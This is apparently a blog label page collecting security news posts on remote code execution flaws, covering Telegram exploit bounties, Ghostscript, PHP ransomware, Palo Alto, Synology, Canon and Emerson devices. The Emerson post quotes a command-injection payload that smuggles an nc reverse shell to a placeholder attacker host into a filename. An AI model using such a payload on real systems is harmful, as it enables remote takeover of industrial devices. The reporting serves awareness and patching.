Search This Blog
Powered by Blogger.

Blog Archive

Labels

About Me

Load More
Trendy Right Now

Popular Posts

Showing posts with label Remote Code Execution. Show all posts
Zero-Day Vulnerabilities
(RCE) Cybersecurity Threats Remote Code Execution Telegram security Vulnerabilities and Exploits Zero-Day Vulnerabilities

Operation Zero Offers Up to $4M for Telegram Exploits

 

Operation Zero, a firm specializing in acquiring and selling zero-day vulnerabilities exclusively to Russian government entities and local companies, has announced a significant bounty for exploits targeting Telegram. The company is willing to pay up to $4 million for a full-chain exploit that could compromise the popular messaging app.

The exploit broker has set tiered rewards for different vulnerabilities:
  • Up to $500,000 for a one-click remote code execution (RCE) exploit.
  • Up to $1.5 million for a zero-click RCE exploit.
  • Up to $4 million for a full-chain exploit, potentially allowing hackers to gain full access to a target’s device.
Operation Zero’s focus on Telegram is strategic, given its widespread use in Russia and Ukraine. The company's offer provides insight into the Russian zero-day market, which remains largely secretive.

Exploit brokers often publicize bounties for vulnerabilities when they detect high demand. This suggests that the Russian government may have specifically requested Telegram exploits, prompting Operation Zero to advertise these high-value offers.

Zero-day vulnerabilities are particularly valuable because they remain unknown to software makers, making them highly effective for cyber operations. Among them, zero-click RCE exploits are the most sought after, as they require no user interaction—unlike phishing-based attacks—making them stealthier and more powerful.

A source familiar with the exploit market suggested that Operation Zero’s prices might be on the lower side, as the company could intend to resell these vulnerabilities multiple times at a higher margin.

“I don’t think they’ll actually pay full [price]. There will be some bar the exploit doesn’t clear, and they’ll only do a partial payment,” said the source.

Another industry expert noted that pricing depends on factors like exclusivity and whether Operation Zero intends to redevelop the exploits internally or act solely as a broker.

The Ukrainian government recently banned the use of Telegram for government and military personnel due to concerns over potential exploitation by Russian state-backed hackers. Security researchers have long warned that Telegram is less secure than alternatives like Signal and WhatsApp, primarily because it does not use end-to-end encryption by default.

“The vast majority of one-on-one Telegram conversations — and literally every single group chat — are probably visible on Telegram’s servers,” said cryptography expert Matthew Green.

Despite this, Telegram spokesperson Remi Vaughn stated: “Telegram has never been vulnerable to a zero-click exploit,” while also emphasizing the company’s bug bounty program.

The zero-day market has become increasingly competitive, driving up prices. In 2023, a WhatsApp zero-day was reportedly valued at $8 million. Operation Zero has previously offered $20 million for exploits capable of fully compromising iOS and Android devices but currently caps those payouts at $2.5 million.

With cyber threats escalating, the demand for zero-days—especially for widely used platforms like Telegram—remains at an all-time high.
Read more »
Synology NAS
Cyber Security Remote Code Execution Security Flaws Synology NAS

Update Your Synology Devices Now to Avoid Serious Security Risks




Synology, a leading provider of network-attached storage (NAS) devices, has resolved critical security flaws in its products. The company is urging users to update their devices immediately to prevent potential cyberattacks that could exploit these vulnerabilities, allowing hackers to take control without user intervention.  


What Were the Security Flaws?  

The issues were found in Synology’s Photos for DMS and BeePhotos for BeeStation applications. These vulnerabilities, revealed at the Pwn2Own Ireland 2024 cybersecurity competition, could have enabled attackers to execute harmful commands remotely.  

Such vulnerabilities, known as “remote code execution” flaws, are particularly dangerous because they require no action from the user. Hackers could exploit these flaws to gain unauthorized access to sensitive data, deploy ransomware, or seize full control of the affected device.    

In response, Synology quickly developed and released patches to address these security gaps. By applying these updates, users can secure their devices and reduce the risk of cyberattacks. This proactive approach ensures that sensitive information stored on NAS devices remains protected.  


Why This is Crucial  

NAS devices, often connected to the internet, store critical data such as documents, photos, and financial information. Without regular updates, these devices can become easy targets for cybercriminals. Synology’s timely patches are essential in reducing the likelihood of ransomware attacks, data breaches, and other malicious activities.  


How the Flaws Were Discovered  

The vulnerabilities were identified during the Pwn2Own Ireland 2024 competition, an event organized by Trend Micro's Zero Day Initiative (ZDI). This competition rewards ethical hackers for uncovering weaknesses in digital devices, including NAS systems, cameras, and smart home equipment.  

At the event, researchers received over $1 million in total rewards, with $260,000 awarded for finding flaws in Synology products. Thanks to these discoveries, Synology was able to act quickly to safeguard its users.  


Steps Users Should Take  

To protect their devices, Synology advises all users to install the latest updates as soon as possible. Enabling automatic updates and periodically checking for new patches can further strengthen security.  

By addressing these issues promptly, Synology has demonstrated its commitment to user safety. However, it is equally important for users to remain vigilant and prioritize updating their devices to defend against cyber threats.  

Read more »
Vulnerabilities and Exploits
CVE-2024-29510 Cybersecurity Ghostscript flaw Ghostscript security Ghostscript vulnerability infosec PDF interpreter security Remote Code Execution Security Breach Vulnerabilities and Exploits

New Ghostscript Vulnerability Alarms Experts as Major Breach Threat

 

The information security community is buzzing with discussions about a vulnerability in Ghostscript, which some experts believe could lead to significant breaches in the coming months.

Ghostscript, a Postscript and Adobe PDF interpreter, allows users on various platforms including *nix, Windows, macOS, and several embedded operating systems to view, print, and convert PDFs and image files. It is commonly installed by default in many distributions and is also utilized by other packages for printing or conversion tasks.

This vulnerability, identified as CVE-2024-29510 and given a CVSS score of 5.5 (medium) by Tenable, was first reported to the Ghostscript team in March and was addressed in the April release of version 10.03.1. However, the researcher's blog post that uncovered this flaw has recently sparked widespread interest.

Thomas Rinsma, the lead security analyst at Codean Labs in the Netherlands, discovered a method to achieve remote code execution (RCE) on systems running Ghostscript by bypassing the -dSAFER sandbox. Rinsma highlighted the potential impact on web applications and services that use Ghostscript for document conversion and preview functionalities.

Ghostscript's extensive use in various applications, such as cloud storage preview images, chat programs, PDF conversion, printing, and optical character recognition (OCR) workflows, underscores its importance. Stephen Robinson, a senior threat intelligence analyst at WithSecure, noted that Ghostscript's integral role in many solutions often goes unnoticed.

To enhance security, the Ghostscript development team has implemented increasingly robust sandboxing capabilities, with the -dSAFER sandbox enabled by default to prevent dangerous operations like command execution. Detailed technical information and a proof of concept (PoC) exploit for Linux (x86-64) can be found on the researcher's blog. The PoC demonstrates the ability to read and write files arbitrarily and achieve RCE on affected systems.

Rinsma confirmed that the PoC may not work universally due to assumptions about stack and structure offsets that vary by system. The PoC, shared by Codean Labs, is an EPS file, and any image conversion service or workflow compatible with EPS could be exploited for RCE, according to Robinson.

Tenable's assessment of the CVE as a local vulnerability requiring user interaction has been questioned by experts like Bob Rudis, VP of data science at GreyNoise. Rudis and others believe that no user interaction is needed for the exploit to succeed, which could mean the severity score is underestimated.

Accurate severity assessments are crucial for the infosec industry, as they guide organizations on the urgency of applying patches and mitigations. The delayed recognition of this vulnerability's severity highlights the importance of precise evaluations.

Rudis expects several notifications from organizations about breaches related to this vulnerability in the next six months. Bill Mill, a full-stack developer at ReadMe, reported seeing attacks in the wild and emphasized the need for organizations to prioritize applying patches.

This is the second notable RCE vulnerability in Ghostscript within 12 months. Last July, CVE-2023-36664, rated 9.8 on the severity scale, made headlines after Kroll's investigation. Ghostscript's widespread use in modern software, including 131 packages in Debian 12 and applications like LibreOffice, underscores the critical need for security measures.


Read more »
Remote Code Execution
Authentication Bypass Claroty Team82 critical vulnerabilities Cyber Security Cybersecurity Emerson gas chromatographs Remote Code Execution

Critical Vulnerabilities Found in Emerson Gas Chromographs Expose Systems

 

Multiple critical vulnerabilities have been identified in Emerson gas chromatographs, posing risks such as unauthorized access to sensitive data, denial-of-service conditions, and arbitrary command execution. Gas chromatographs are essential in various industries like chemical, environmental, and healthcare sectors for analyzing and separating chemical compounds. The Emerson Rosemount 370XA, a widely used model, uses a proprietary protocol for communication between the device and a technician's computer.

Security researchers from Claroty's Team82 discovered four significant vulnerabilities: two command injection flaws, an authentication bypass, and an authorization vulnerability. One of the command injection flaws received a critical CVSS v3 score of 9.8.

The vulnerability, designated CVE-2023-46687, is an unauthenticated remote code execution or command injection flaw found in the "forced calibration" command type. It involves a system function that uses a constructed shell command with a user-provided file name without proper sanitization, allowing attackers to inject arbitrary shell commands.

Attackers can exploit this vulnerability by supplying crafted inputs, such as gunzip -c ;nc -e /bin/sh ATTACKER_MACHINE 1337;> name_of_the_expanded_file, leading to arbitrary code execution in the root shell context.

Another vulnerability, CVE-2023-51761, is an authentication bypass that allows attackers to reset the administrator password by calculating a secret passphrase derived from the device's MAC address. Since the MAC address is not secret and can be easily obtained, attackers can generate the passphrase and log in with administrator privileges using credentials formatted as EMERSON/{PASSPHRASE}.

The vulnerability CVE-2023-49716 involves a user login bypass through a password reset mechanism, enabling an unauthenticated user with network access to gain admin capabilities by bypassing authentication.

The final vulnerability, CVE-2023-43609, involves command injection via reboot functionality, allowing an authenticated user with network access to execute arbitrary commands remotely.

Due to the high cost and difficulty of obtaining a physical device, researchers emulated the Emerson Rosemount 370XA for their analysis. They identified flaws in the device's protocol implementation, enabling them to craft payloads and uncover the vulnerabilities. For instance, the authentication bypass vulnerability allowed attackers to calculate a secret passphrase and reset administrator passwords, compromising system security.

Emerson has issued a security advisory recommending that end users update the firmware on their products. The Cybersecurity and Infrastructure Security Agency has also released an advisory regarding these vulnerabilities.
Read more »
vulnerability patch
breach servers Cyber Security PHP exploit PHP RCE vulnerability Ransomware attack ransomware mitigation Remote Code Execution server security TellYouThePass ransomware vulnerability patch

TellYouThePass Ransomware Exploits Recent PHP RCE Vulnerability to Compromise Servers

 

The TellYouThePass ransomware gang has been exploiting the recently patched CVE-2024-4577 remote code execution vulnerability in PHP to deliver webshells and execute their ransomware payload on target systems.

The attacks began on June 8, less than 48 hours after PHP maintainers released security updates, utilizing publicly available exploit code. TellYouThePass is notorious for quickly adopting public exploits for widespread vulnerabilities. In November, they exploited an Apache ActiveMQ RCE, and in December 2021, they used the Log4j exploit to breach companies.

In the latest attacks observed by researchers at cybersecurity company Imperva, TellYouThePass leveraged the critical-severity CVE-2024-4577 bug to execute arbitrary PHP code. They used the Windows mshta.exe binary to run a malicious HTML application (HTA) file. This file contained VBScript with a base64-encoded string that decoded into a binary, loading a .NET variant of the ransomware into the host's memory.

Ransomware Impact and Tactics

Upon execution, the malware sends an HTTP request to a command-and-control (C2) server disguised as a CSS resource request and encrypts files on the infected machine. It then leaves a ransom note, "READ_ME10.html," with instructions for the victim on how to restore their files. User posts on the BleepingComputer forum indicate that TellYouThePass attacks have claimed victims since June 8, demanding 0.1 BTC (around $6,700) for the decryption key. One user reported that the ransomware campaign affected multiple websites hosted on their server.

Vulnerability Details and Response

CVE-2024-4577 is a critical RCE vulnerability that affects all PHP versions since 5.x. It originates from unsafe character encoding conversions on Windows when used in CGI mode. The vulnerability was discovered on May 7 by Devcore's Orange Tsai, who reported it to the PHP team. A fix was released on June 6 with PHP versions 8.3.8, 8.2.20, and 8.1.29.

The following day, WatchTowr Labs released a proof-of-concept (PoC) exploit code for CVE-2024-4577. The Shadowserver Foundation observed exploitation attempts on their honeypots the same day. According to a report from Censys, over 450,000 exposed PHP servers could be vulnerable to the CVE-2024-4577 RCE vulnerability, with most located in the United States and Germany. Wiz, a cloud security startup, estimated that around 34% of these instances might be vulnerable.
Read more »
Vulnerabilities and Exploits
CVE-2024-3400 Cyber Cybersecurity Palo Alto Networks PAN-OS firewall Remote Code Execution Threat actors Volexity Vulnerabilities and Exploits

Zero-Day Exploitation of Palo Alto Networks Firewall Allows Backdoor Installation

 

Suspected state-sponsored hackers have exploited a zero-day vulnerability in Palo Alto Networks firewalls, identified as CVE-2024-3400, since March 26. These hackers have utilized the compromised devices to breach internal networks, pilfer data, and hijack credentials.

Palo Alto Networks issued a warning on the active exploitation of an unauthenticated remote code execution flaw in its PAN-OS firewall software. Patch updates are slated for release on April 14. Given the ongoing exploitation, Palo Alto Networks opted to disclose the vulnerability and provide interim mitigations for customers until patches are fully deployed.

Further insights into the zero-day exploitation emerged from a subsequent report by Volexity, the entity that discovered the flaw. According to Volexity, hackers have been exploiting the vulnerability since March, employing a custom backdoor dubbed 'Upstyle' to infiltrate target networks and execute data theft. The activity, tracked under the designation UTA0218, is strongly suspected to be orchestrated by state-sponsored threat actors.

Volexity's investigation traced the zero-day exploitation to April 10, primarily targeting the GlobalProtect feature of Palo Alto Networks PAN-OS. The subsequent deployment of identical exploitation methods at another customer site underscored the severity of the situation. Despite the exploitation period starting as early as March 26, payloads were not deployed until April 10.

The 'Upstyle' backdoor, facilitated by a Python script, enables remote command execution on compromised devices. The backdoor leverages a path configuration file to execute commands, allowing threat actors to operate stealthily within compromised environments.

In addition to the 'Upstyle' backdoor, Volexity observed the deployment of additional payloads, including reverse shells, PAN-OS configuration data exfiltration tools, and the Golang tunneling tool 'GOST.' In some instances, threat actors pivoted to internal networks to steal sensitive files, such as Active Directory databases and browser data from specific targets.

Volexity recommends two methods for detecting compromised Palo Alto Networks firewalls: generating Tech Support Files to analyze forensic artifacts and monitoring network activity for specific indicators of compromise.

This incident underscores the increasing targeting of network devices by threat actors, as demonstrated by previous campaigns exploiting vulnerabilities in Fortinet, SonicWall, Cisco, TP-Link, and Barracuda devices.
Read more »
Vulnerabilities and Exploits
Buffer Overflow Canon Japanese Firm Remote Code Execution Vulnerabilities and Exploits

Canon Patches Seven Critical Flaws in Small Office Printers

 

Canon, a Japanese electronics company, released software patches on Monday that address seven major vulnerabilities impacting numerous small office printer models. 

Buffer overflow flaws are the issues that can be used to execute code remotely over a network or render a vulnerable product inoperable.

"These vulnerabilities point to the possibility that an unauthorised remote attacker could be able to execute arbitrary code and/or use the product as a target for a denial-of-service (DoS) attack over the Internet if a product is connected directly to the Internet without using a router (wired or Wi-Fi)," according to Canon. 

The vulnerabilities are tracked under the CVE-2023-6229, CVE-2023-6234, and CVE-2024-0244 codes. They have a 9.8 CVSS score, according to Japan's vulnerability information portal JVN.

According to NIST advisories, flaws were identified in a number of components, including the processes for downloading CPCA PDL resources, Address Book passwords, WSD probe requests, Address Book usernames, SLP attribute requests, CPCA Colour LUT resource downloads, and CPCA PCFAX number processes. 

The imageCLASS MF753CDW, MF751CDW, MF1333C, LBP674CDW, and LBP1333C series in North America; Satera LBP670C and MF750C series in Japan; and i-SENSYS LBP673Cdw, MF752Cdw, MF754Cdw, C1333i, C1333iF, and C1333P series in Europe are the printer types that are susceptible. 

However, the vulnerabilities affect firmware versions 03.07 and earlier for all models. The regional websites of Canon have updates that fix these issues.

No reports of these vulnerabilities being used have surfaced. However, we advise our clients to install the latest firmware available for the concerned models in order to improve the product's security," Canon states on its European support website. 

Customers should additionally limit access to the printers by concealing them behind a router or firewall, assigning them a secret IP address, and limiting access to them because the vulnerabilities mentioned above can be exploited remotely. 

Canon reports that Trend Micro's Zero Day Initiative (ZDI) was used to expose all seven security flaws.
Read more »
Sensitive Information
DDOS Tools Encryption malware MFA Payload Phishing Attacks Private Data Remote Code Execution Sensitive Information

Defending Against Stealer Log Cyber Threats

Cyber attacks are a serious concern in a digital environment that is becoming more linked. Silent cyber threats have become more common among the many different types of cyberattacks because of their covert nature and potentially disastrous outcomes. The stealer log, a tool used by bad actors to steal sensitive information from unwitting victims, is one notable variation. This article addresses ways to lessen the impact of the stealer log lifecycle on people and organizations while also delving into its complexities.

According to cybersecurity experts, a stealer log is a sophisticated malware designed to covertly infiltrate systems, gather confidential data, and exfiltrate it without arousing suspicion. These logs can harvest a wide array of information, including login credentials, financial data, and personal identification. An analysis by Flare Systems reveals that stealer logs often initiate their lifecycle through phishing emails or compromised websites, thus underscoring the importance of email security and robust browsing practices.

"Stealer logs are a testament to cybercriminals' evolving tactics. Understanding their lifecycle is crucial in building effective defenses against these threats," remarks Dr. Emily Parker, a cybersecurity analyst.

The lifecycle of a stealer log typically encompasses several stages:

  • Infiltration: Cybercriminals distribute malware through deceptive emails or exploit kits on compromised websites. Users are tricked into downloading and executing the malware, unknowingly granting it access to their systems.
  • Data Collection: Once inside the system, the stealer log meticulously captures sensitive data. It can record keystrokes, take screenshots, and extract stored passwords from browsers and other applications.
  • Encryption and Exfiltration: The stolen data is encrypted and transmitted to a remote server controlled by the attackers. This step ensures that the information remains hidden from security measures.
  • Remote Command and Control: Attackers can remotely control the malware, allowing them to update its functionality, deploy additional payloads, or pivot to new attack vectors.

Efforts to counter the stealer log threat are underway. A study highlights the significance of multi-factor authentication (MFA) and security awareness training in safeguarding against these threats. "Employing MFA adds an additional layer of protection, requiring attackers to breach multiple barriers, which can significantly impede their progress," states cybersecurity expert John Anderson.

Moreover, Flare Systems emphasizes continuous monitoring and incident response readiness as vital components of effective defense strategies. Regular system scans, behavioral analysis, and prompt patching of vulnerabilities can help detect and mitigate potential breaches before they escalate.

As cyber-attacks get more sophisticated, it is crucial to comprehend the lifecycle of tools like stealer logs while creating proactive security measures. By combining user education, technological advancements, and stringent security protocols, people and organizations can continue to have an advantage in the continuous struggle with cyber attackers. By being knowledgeable and using the right strategies, one can move confidently and resiliently in the digital world.
Read more »
Subscribe to: Posts (Atom)